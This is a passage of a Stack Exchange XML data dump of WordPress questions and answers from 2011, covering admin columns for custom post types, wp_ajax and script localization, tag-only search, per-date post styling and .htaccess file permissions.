?&amp;gt;&#xA;                                            &amp;lt;/ul&amp;gt;&#xA;&#xA;                                            &amp;lt;ul class=&quot;alignleft&quot;&amp;gt;&#xA;                                            &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;                                            &amp;lt;?php endwhile; ?&amp;gt;&#xA;                                            &amp;lt;/ul&amp;gt;&#xA;&#xA;                                            &amp;lt;div class=&quot;clear&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;                                        &amp;lt;/div&amp;gt;&#xA;&#xA;                                        &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;                                        &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;                                    &amp;lt;/div&amp;gt;&#xA;                                    &amp;lt;div class=&quot;clear&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&#xA;                                &amp;lt;/div&amp;gt;&#xA;                            &amp;lt;/div&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;?php get_sidebar(); ?&amp;gt;&#xA;&amp;lt;?php get_footer(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See edit revision for previous comments and code.&lt;/p&gt;&#xA;" OwnerUserId="1468" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-03-29T11:02:25.740" LastActivityDate="2011-03-29T11:02:25.740" CommentCount="18" />
  <row Id="13276" PostTypeId="2" ParentId="13256" CreationDate="2011-03-28T11:55:11.100" Score="2" ViewCount="" Body="&lt;p&gt;For  the dashboard post listing bit....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Plugin_API/Action_Reference/manage_posts_custom_column&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Plugin_API/Action_Reference/manage_posts_custom_column&lt;/a&gt;  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    // ADDS EXTRA INFO TO ADMIN MENU FOR PRODUCT POST TYPE&#xA;add_filter(&quot;manage_edit-ve_products_columns&quot;, &quot;voodoo_prod_edit_columns&quot;);&#xA;add_action(&quot;manage_posts_custom_column&quot;, &quot;voodoo_prod_custom_columns&quot;);&#xA;&#xA;function voodoo_prod_edit_columns( $columns ) {&#xA;&#xA;    // Add the extra column for product categories instead of rebuilding the whole array&#xA;    $columns['prod_cat'] = &quot;Product Category&quot;;&#xA;    $columns['description'] = &quot;Excerpt&quot;;&#xA;&#xA;    return $columns;&#xA;}&#xA;&#xA;function voodoo_prod_custom_columns( $column ) {&#xA;    global $post;&#xA;    switch( $column ) {&#xA;        case &quot;description&quot;:&#xA;            the_excerpt();&#xA;        break;&#xA;        case &quot;prod_cat&quot;:&#xA;            echo get_the_term_list( $post-&amp;gt;ID, 'product_category', '', ', ', '' );&#xA;        break;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I use this to add in 2 columns to my ve_products custom post type.  the description column displays the excerpt, the prod_cat displays my custom taxonomy (product_category).  Getting rid of:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$columns['description'] = &quot;Excerpt&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Would kill the excerpt portion and only bring in the taxonomy.  You just have to swap in your own tax name.  And also in the first filter, your own CPT (per the link I gave)&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;As for your other question, are you just looking to spit out the taxonomy?  I'm not sure, so I will just try to answer what I think you are asking.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;            &amp;lt;?php   &#xA;            // Let's find out if we have taxonomy information to display   &#xA;            // Something to build our output in   &#xA;            $taxo_text = '';   &#xA;&#xA;            // Variables to store each of our possible taxonomy lists   &#xA;            // This one checks for a Product Category classification   &#xA;            $prodcat_list = get_the_term_list( $post-&amp;gt;ID, 'product_category', '', ', ', '' );&#xA;&#xA;            // Add Product Category list if this post was so tagged   &#xA;            if ( '' != $prodcat_list )   &#xA;            $taxo_text .= $prodcat_list;&#xA;            ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I use this to store my taxonomy (product_category).  I put this up at the top of my loop, above where I need to display the actual tax.  Then I can spit it out using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo $taxo_text; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So the big block of code loads up the terms for product_category, and then echoing out taxo text spits out the terms, it behaves like the_category would.  You would just need to swap in your tax name where I have product_category&lt;/p&gt;&#xA;" OwnerUserId="3429" LastEditorUserId="3429" LastEditorDisplayName="" LastEditDate="2011-03-28T12:04:29.733" LastActivityDate="2011-03-28T12:04:29.733" CommentCount="1" />
  <row Id="13277" PostTypeId="1" AcceptedAnswerId="13281" CreationDate="2011-03-28T12:05:59.670" Score="1" ViewCount="664" Body="&lt;p&gt;hey guys,&#xA;weird situation... I'm trying to use wp_ajax() for the first time. I'm normally using a normal jQuery ajax request but in my current case I get a lot of bugs so I thought about trying wp_ajax().&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;I don't get it though!&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following piece of code...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// embed the javascript file that makes the AJAX request&#xA;wp_enqueue_script( 'my-ajax-request', plugin_dir_url( __FILE__ ) . 'js/ajax.js' );&#xA;&#xA;// declare the URL to the file that handles the AJAX request (wp-admin/admin-ajax.php)&#xA;wp_localize_script( 'my-ajax-request', 'MyAjax', array( 'ajaxurl' =&amp;gt; admin_url( 'admin-ajax.php' ) ) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;ends in...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot; src=&quot;http://example.com/wordpress/wp-content/plugins/myajax/js/ajax.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;/* &amp;lt;![CDATA[ */&#xA;var MyAjax = {&#xA;    ajaxurl: &quot;http://example.com/wordpress/wp-admin/admin-ajax.php&quot;&#xA;};&#xA;/* ]]&amp;gt; */&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However I don't have a plugin or anything that should use this, but my whole page has to do this ajax request. Therefore the entire first line with &lt;code&gt;wp_enqueue_script()&lt;/code&gt; doesn't make sens. I don't need to load a specific js-file for this because I have already my entire &lt;code&gt;script.js&lt;/code&gt; file manually embedded in my &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt; section. This is where the ajax request gets fired. However once I leave this line out (&lt;code&gt;//wp_enqueue_script()...&lt;/code&gt;) the second part doesn't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So there will no&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;/* &amp;lt;![CDATA[ */&#xA;var MyAjax = {&#xA;    ajaxurl: &quot;http://example.com/wordpress/wp-admin/admin-ajax.php&quot;&#xA;};&#xA;/* ]]&amp;gt; */&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;be printed into my  section of my page. What am I getting wrong here?&#xA;I really need to be able to fire a ajax request from within my normal script.js file. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;update:&#xA;my script.js file (manually emebedded in my  should call a an ajax request:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var response;&#xA;            $.post(&#xA;                // see tip #1 for how we declare global javascript variables&#xA;                MyAjax.ajaxurl,&#xA;                {&#xA;                    // here we declare the parameters to send along with the request&#xA;                    // this means the following action hooks will be fired:&#xA;                    // wp_ajax_nopriv_myajax-submit and wp_ajax_myajax-submit&#xA;                    action : 'wp_ajax_nopriv_searchmap',&#xA;                },&#xA;                function( response ) {&#xA;                    $sr.html(response);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the function in my functions.php file I want to call looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// embed the javascript file that makes the AJAX request&#xA;wp_enqueue_script( 'my-ajax-request', plugin_dir_url( __FILE__ ) . 'js/ajax.js' );&#xA;&#xA;// declare the URL to the file that handles the AJAX request (wp-admin/admin-ajax.php)&#xA;wp_localize_script( 'my-ajax-request', 'MyAjax', array( 'ajaxurl' =&amp;gt; admin_url( 'admin-ajax.php' ) ) );&#xA;&#xA;// this hook is fired if the current viewer is not logged in&#xA;if (isset($_GET['action'])) {&#xA;    do_action( 'wp_ajax_nopriv_' . $_GET['action'] );&#xA;}&#xA;// if logged in:&#xA;if (isset($_POST['action'])) {&#xA;    do_action( 'wp_ajax_' . $_POST['action'] );&#xA;}&#xA;if(is_admin()) {&#xA;    add_action( 'wp_ajax_searchmap', 'my_searchmap_function' );&#xA;} else {&#xA;    add_action( 'wp_ajax_nopriv_searchmap', 'my_searchmap_function' );&#xA;}&#xA;&#xA;function my_searchmap_function() {&#xA;&#xA;// Start output buffer&#xA;ob_start();&#xA;?&amp;gt;&#xA;div&amp;gt;&#xA;    &amp;lt;h3&amp;gt;Pages&amp;lt;/h3&amp;gt;&#xA;        &amp;lt;ul&amp;gt;&#xA;            &amp;lt;?php wp_list_pages('title_li=&amp;amp;depth=0&amp;amp;exclude='); ?&amp;gt;&#xA;        &amp;lt;/ul&amp;gt;&#xA;    &amp;lt;h3&amp;gt;Posts&amp;lt;/h3&amp;gt;&#xA;        &amp;lt;?php $first = 0;?&amp;gt;&#xA;        &amp;lt;ul&amp;gt;&#xA;        &amp;lt;?php&#xA;        $myposts = get_posts('numberposts=-1&amp;amp;offset=$first');&#xA;        foreach($myposts as $post) :&#xA;        ?&amp;gt;&#xA;        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        &amp;lt;?php endforeach; ?&amp;gt;&#xA;        &amp;lt;/ul&amp;gt;&#xA;    &amp;lt;h3&amp;gt;Categories&amp;lt;/h3&amp;gt;&#xA;        &amp;lt;ul&amp;gt;&#xA;            &amp;lt;?php wp_list_categories('title_li=&amp;amp;orderby=name'); ?&amp;gt;&#xA;        &amp;lt;/ul&amp;gt;&#xA;&amp;lt;/div&amp;gt;  &#xA;&amp;lt;?php &#xA;&#xA;    $output = ob_get_contents();&#xA;&#xA;    // Stop output buffer&#xA;    ob_end_clean();&#xA;    $response = json_encode($output);&#xA;&#xA;    // response output&#xA;    header( &quot;Content-Type: application/json&quot; );&#xA;    echo $response;&#xA;&#xA;    // IMPORTANT: don't forget to &quot;exit&quot;&#xA;    exit;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What do I missunderstand here? I simply want to be able to request data via ajax from within my normal javascript file. I need to process the html that comes back in my javascript file. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea what I'm doing wrong or better, what I have to do in order to make this work?&lt;/p&gt;&#xA;" OwnerUserId="3529" LastEditorUserId="3529" LastEditorDisplayName="" LastEditDate="2011-03-28T12:56:21.953" LastActivityDate="2011-03-30T09:59:49.083" Title="wp_ajax() question.. not using wp_enqueue_script?" Tags="&lt;jquery&gt;&lt;ajax&gt;&lt;wp-enqueue-script&gt;" AnswerCount="2" FavoriteCount="2" />
  <row Id="13278" PostTypeId="1" AcceptedAnswerId="13283" CreationDate="2011-03-28T12:11:04.410" Score="1" ViewCount="196" Body="&lt;p&gt;Is it possible, to search just for tags?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not any other taxonomies or post types, just tag titles.&lt;/p&gt;&#xA;" OwnerUserId="876" LastActivityDate="2011-04-06T08:57:35.440" Title="Search for tags" Tags="&lt;taxonomy&gt;&lt;tags&gt;&lt;search&gt;" AnswerCount="1" />
  <row Id="13279" PostTypeId="2" ParentId="12834" CreationDate="2011-03-28T12:26:55.663" Score="1" ViewCount="" Body="&lt;p&gt;As per the discussion in the comments, using &lt;code&gt;.&lt;/code&gt; as a value for the &quot;Category base&quot; will send Apache into an infinite loop. Getting rid of the Category base in the URL is actually pretty tricky, just because of the way WordPress expects things to work. It you want to use a single character for this, though, the &lt;code&gt;_&lt;/code&gt; character works just fine.&lt;/p&gt;&#xA;" OwnerUserId="2984" LastActivityDate="2011-03-28T12:26:55.663" />
  <row Id="13280" PostTypeId="1" AcceptedAnswerId="13299" CreationDate="2011-03-28T12:33:19.227" Score="0" ViewCount="204" Body="&lt;p&gt;I'm using &lt;code&gt;&amp;lt;?php the_date('l jS F Y','&amp;lt;h2&amp;gt;','&amp;lt;/h2&amp;gt;'); ?&amp;gt;&lt;/code&gt; inside the loop in order to group/sort posts by date. This all works great but I would like to add a different class to the last post for each date, effectively seperating each date section.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anybody know how to do this please? I can't seem to find anything! Many thanks, S.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Code below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php while ( have_posts() ) : the_post(); ?&amp;gt;&#xA;&amp;lt;?php the_date('l jS F Y','&amp;lt;h2&amp;gt;','&amp;lt;/h2&amp;gt;'); ?&amp;gt;   &#xA;&amp;lt;hr /&amp;gt;   &#xA;&amp;lt;div class=&quot;post&quot;&amp;gt;                  &#xA;    &amp;lt;h3&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot; title=&quot;&amp;lt;?php printf( esc_attr__( 'Permalink to %s', 'twentyten' ), the_title_attribute( 'echo=0' ) ); ?&amp;gt;&quot; rel=&quot;bookmark&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h3&amp;gt;                                     &#xA;    &amp;lt;?php the_excerpt(); ?&amp;gt;             &#xA;&amp;lt;/div&amp;gt; &amp;lt;?php endwhile; ?&amp;gt; &amp;lt;hr class=&quot;btm&quot; /&amp;gt; //want this to appear at the end of each date/section&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Updated code based on Bainternet's answer below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php while ( have_posts() ) : the_post(); &#xA;            $curent_date = $post-&amp;gt;post_date;&#xA;            $curent_date = substr($curent_date,0,strpos($curent_date,&quot; &quot;));&#xA;            $next_post = get_adjacent_post(false,'',false) ;&#xA;            if (!$next_post == ''){&#xA;            $next_date = $next_post-&amp;gt;post_date;&#xA;            $next_date = substr($next_date,0,strpos($next_date,&quot; &quot;));&#xA;            if ($next_date != $curent_date){&#xA;            $hrbtm = '&amp;lt;hr class=&quot;btm&quot; /&amp;gt;';&#xA;            echo $hrbtm;&#xA;                }&#xA;            } else {&#xA;            $hrbtm = '';&#xA;            }&#xA;            ?&amp;gt;      &#xA;            &amp;lt;?php the_date('l jS F Y','&amp;lt;h2&amp;gt;','&amp;lt;/h2&amp;gt;'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then I echo &lt;code&gt;$hrbtm&lt;/code&gt; just before the &lt;code&gt;endwhile&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo $hrbtm; ?&amp;gt; &amp;lt;?php endwhile; ?&amp;gt;    &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3362" LastEditorUserId="3362" LastEditorDisplayName="" LastEditDate="2011-03-29T08:36:19.750" LastActivityDate="2011-03-29T08:36:19.750" Title="Adding a class to last post in the_date" Tags="&lt;date-time&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="13281" PostTypeId="2" ParentId="13277" CreationDate="2011-03-28T12:48:57.120" Score="4" ViewCount="" Body="&lt;p&gt;Ok, firstly let me just break it down a little, so you understand the purpose of these functions.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_enqueue_script&quot; rel=&quot;nofollow&quot;&gt;wp_enqueue_script()&lt;/a&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Description:&lt;/strong&gt;&lt;br&gt;&#xA;A safe way of adding javascripts to a WordPress generated page. Basically, include the script if it hasn't already been included, and load the one that WordPress ships. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org&quot; rel=&quot;nofollow&quot;&gt;wp_localize_script()&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Description:&lt;/strong&gt;&lt;br&gt;&#xA;Localizes a script, but only if script has already been added. Can also be used to include arbitrary Javascript data in a page. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;When you localize a script, all you're doing is setting up an action that prints out Javascript vars into the page, but these vars are tied to the script you register them to, it's the first parameter you pass to &lt;code&gt;wp_localize_script&lt;/code&gt; and is otherwise known as the script &lt;strong&gt;handle&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;wp_enqueue_script&lt;/code&gt; is for queuing a javascript file, and &lt;code&gt;wp_localize_script&lt;/code&gt; is designed to accompany scripts loaded via the enqueue system. You cannot localize nothing, so if you're not enqueuing, &lt;code&gt;wp_localize_script&lt;/code&gt; is of no use to you here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Typically you'd likely use the two like this..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$myvars = array( &#xA;    'ajaxurl' =&amp;gt; admin_url( 'admin-ajax.php' ),&#xA;    'somevar1' =&amp;gt; $somevar_from_somewhere,&#xA;    'somevar2' =&amp;gt; $somevar_from_elsewhere&#xA;);&#xA;wp_enqueue_script( 'my-ajax-request', plugins_url( '/path/to/somefile.js', __FILE__ ) );&#xA;wp_localize_script( 'my-ajax-request', 'MyAjax', $myvars );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which then produces the following output in your page..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot; src=&quot;path/to/somefile.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;/* &amp;lt;![CDATA[ */&#xA;var MyAjax = {&#xA;    ajaxurl: &quot;http://example.com/wordpress/wp-admin/admin-ajax.php&quot;,&#xA;    somevar1: &quot;somevalue&quot;,&#xA;    somevar2: &quot;someothervalue&quot;&#xA;};&#xA;/* ]]&amp;gt; */&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which you can then reference in your script, eg.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(document).ready( function($) {&#xA;&#xA;    alert( MyAjax.somevar1 ); // Produces somevalue&#xA;    alert( MyAjax.somevar2 ); // Produces someothervalue&#xA;&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Throwing this all together, your code could go a little something like this..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Setup the ajax callback for the &quot;searchmap&quot; action &#xA;add_action( 'wp_ajax_searchmap', 'my_searchmap_function' );&#xA;add_action( 'wp_ajax_nopriv_searchmap', 'my_searchmap_function' );&#xA;&#xA;// The callback function for the &quot;searchmap&quot; action&#xA;function my_searchmap_function() {&#xA;    $myposts = get_posts('numberposts=-1&amp;amp;offset=$first');&#xA;?&amp;gt;&#xA;&amp;lt;div&amp;gt; &#xA;    &amp;lt;h3&amp;gt;Pages&amp;lt;/h3&amp;gt;&#xA;    &amp;lt;ul&amp;gt;&#xA;        &amp;lt;?php wp_list_pages('title_li=&amp;amp;depth=0&amp;amp;exclude='); ?&amp;gt;&#xA;    &amp;lt;/ul&amp;gt;&#xA;&#xA;    &amp;lt;h3&amp;gt;Posts&amp;lt;/h3&amp;gt;&#xA;    &amp;lt;ul&amp;gt;&#xA;        &amp;lt;?php foreach( $myposts as $post ) : setup_postdata( $post ); ?&amp;gt;&#xA;&#xA;        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&#xA;        &amp;lt;?php endforeach; ?&amp;gt;&#xA;        &amp;lt;?php wp_reset_postdata(); ?&amp;gt;&#xA;    &amp;lt;/ul&amp;gt;&#xA;&#xA;    &amp;lt;h3&amp;gt;Categories&amp;lt;/h3&amp;gt;&#xA;    &amp;lt;ul&amp;gt;&#xA;    &amp;lt;?php wp_list_categories('title_li=&amp;amp;orderby=name'); ?&amp;gt;&#xA;    &amp;lt;/ul&amp;gt;&#xA;&amp;lt;/div&amp;gt;  &#xA;&amp;lt;?php &#xA;    die;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The JS .. (assuming it was enqueued and localized)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(document).ready(function($) {&#xA;    $('a.myajax').click(function(){&#xA;        var data = {&#xA;            action: 'searchmap' // &amp;lt;--- this is the correct action name&#xA;        };&#xA;        $.post( MyAjax.ajaxurl, data, function(response) {&#xA;            $('#myresult').html(response);&#xA;        });&#xA;        return false;&#xA;    });&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then the actual HTML needed in the page to trigger the action..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a class=&quot;myajax&quot; href=&quot;#&quot;&amp;gt;Click me to fetch ajax content&amp;lt;/a&amp;gt;&#xA;&amp;lt;div id=&quot;myresult&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h1&gt;Actual Answer&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;With regard to needing to do your own thing, and get vars printed out for your script, i'd suggest doing something like this...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'wp_head', 'my_js_vars', 1000 );&#xA;&#xA;function my_js_vars() {&#xA;&#xA;    // If it's not a specific page, stop here&#xA;    if( !is_page( 'my-page-with-ajax' ) )&#xA;        return;&#xA;    ?&amp;gt;&#xA;    &amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;    /* &amp;lt;![CDATA[ */&#xA;    var MyAjax = {&#xA;        ajaxurl: '&amp;lt;?php admin_url('admin-ajax.php'); ?&amp;gt;',&#xA;            somevar: 'somevalue',&#xA;            someothervar: 'someothervalue'&#xA;    };&#xA;    /* ]]&amp;gt; */&#xA;    &amp;lt;/script&amp;gt;&#xA;    &amp;lt;?php&#xA;    /*&#xA;       NOTE: &#xA;       Make sure not to leave a comma after the last item &#xA;       in the JS array, else IE(Internet Explorer) will choke on the JS.&#xA;    */&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I left code that i previously posted for the sake of others reading.&lt;/p&gt;&#xA;" OwnerUserId="1468" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-03-30T09:59:49.083" LastActivityDate="2011-03-30T09:59:49.083" CommentCount="10" />
  <row Id="13282" PostTypeId="1" AcceptedAnswerId="13284" CreationDate="2011-03-28T12:56:51.653" Score="0" ViewCount="182" Body="&lt;p&gt;I have Wordpress 3.1 installed in a subdirectory of a shared hosting account, it's a linux server and mod_rewrite is enabled and working fine elsewhere. The contents of the .htaccess file disappear whenever I try and change the permalinks structure, leaving just the begin/end wordpress comments with nothing in between. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have no plug-ins installed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="3570" LastActivityDate="2011-03-28T14:11:37.390" Title="Wordpress 3.1 .htaccess contents keep dissappearing?" Tags="&lt;permalinks&gt;&lt;3.1&gt;&lt;htaccess&gt;" AnswerCount="1" />
  <row Id="13283" PostTypeId="2" ParentId="13278" CreationDate="2011-03-28T13:18:46.497" Score="4" ViewCount="" Body="&lt;p&gt;Yes its very possible, you just need to create your own search form and processing function&#xA;form:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form name=&quot;tag-search&quot; method=&quot;POST&quot; action=&quot;&quot;&amp;gt;&#xA;  &amp;lt;input type=&quot;text&quot; vlaue=&quot;&quot; name=&quot;tag-q&quot; id=&quot;tag-q&quot;&amp;gt;&#xA;  &amp;lt;input type=&quot;submit&quot; name=&quot;tag-submit&quot; id=&quot;tag-submit&quot; vlaue=&quot;Search Tags&quot;&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;processing:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;if (isset($_POST['tag-submit']) &amp;amp;&amp;amp; $_POST['tag-submit'] == &quot;Search Tags&quot; &amp;amp;&amp;amp; isset($_POST['tag-q']) &amp;amp;&amp;amp; $_POST['tag-q'] != &quot;&quot;){&#xA;    $args = array('name__like' =&amp;gt; $_POST['tag-q']);&#xA;    $tags = get_tags($args);&#xA;    $html = '&amp;lt;div class=&quot;post_tags_search_r&quot;&amp;gt;';&#xA;    foreach ($tags as $tag){&#xA;        $tag_link = get_tag_link($tag-&amp;gt;term_id);&#xA;&#xA;        $html .= &quot;&amp;lt;a href='{$tag_link}' title='{$tag-&amp;gt;name} Tag' class='{$tag-&amp;gt;slug}'&amp;gt;&quot;;&#xA;        $html .= &quot;{$tag-&amp;gt;name}&amp;lt;/a&amp;gt;&quot;;&#xA;    }&#xA;    $html .= '&amp;lt;/div&amp;gt;';&#xA;    echo $html;&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;No this is something i have used in the past, the only downside to this is that &lt;code&gt;name__like&lt;/code&gt; is  case-insensitive so you might want to add the &lt;a href=&quot;http://php.net/manual/en/function.strtolower.php&quot; rel=&quot;nofollow&quot;&gt;strtolower&lt;/a&gt; version to the name__like.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-28T13:18:46.497" CommentCount="2" />
  <row Id="13284" PostTypeId="2" ParentId="13282" CreationDate="2011-03-28T13:24:19.677" Score="0" ViewCount="" Body="&lt;p&gt;By default, this shouldn't be happening. My guess is that this is an oddity with your hosting provider. I would also guess that the&lt;code&gt;.htaccess&lt;/code&gt; file is world writable. I would try making the &lt;code&gt;.htaccess&lt;/code&gt; file mode &lt;code&gt;644&lt;/code&gt; like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;chmod 644 .htaccess&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or by using your SFTP program of choice to make it only writable by Owner. Then, whenever you modify the permalinks settings, just copy and paste the results at the bottom of the permalinks page into the &lt;code&gt;.htaccess&lt;/code&gt; file manually.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just as a note: having the &lt;code&gt;.htaccess&lt;/code&gt; file world writable is a fairly substantial security issue on a shared hosting provider. Depending on how things are set up, it can be easy for someone on the same server to inject behaviours you don't want into your site by modifying this file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; I had &lt;code&gt;600&lt;/code&gt; originally, which works for me because I have the &lt;code&gt;.htaccess&lt;/code&gt; file owned by the &lt;code&gt;www-data&lt;/code&gt; user on my server... but I should have said something about that. As per the comment below, &lt;code&gt;644&lt;/code&gt; or &lt;code&gt;444&lt;/code&gt; makes more sense in most cases.&lt;/p&gt;&#xA;" OwnerUserId="2984" LastEditorUserId="2984" LastEditorDisplayName="" LastEditDate="2011-03-28T14:11:37.390" LastActivityDate="2011-03-28T14:11:37.390" CommentCount="2" />
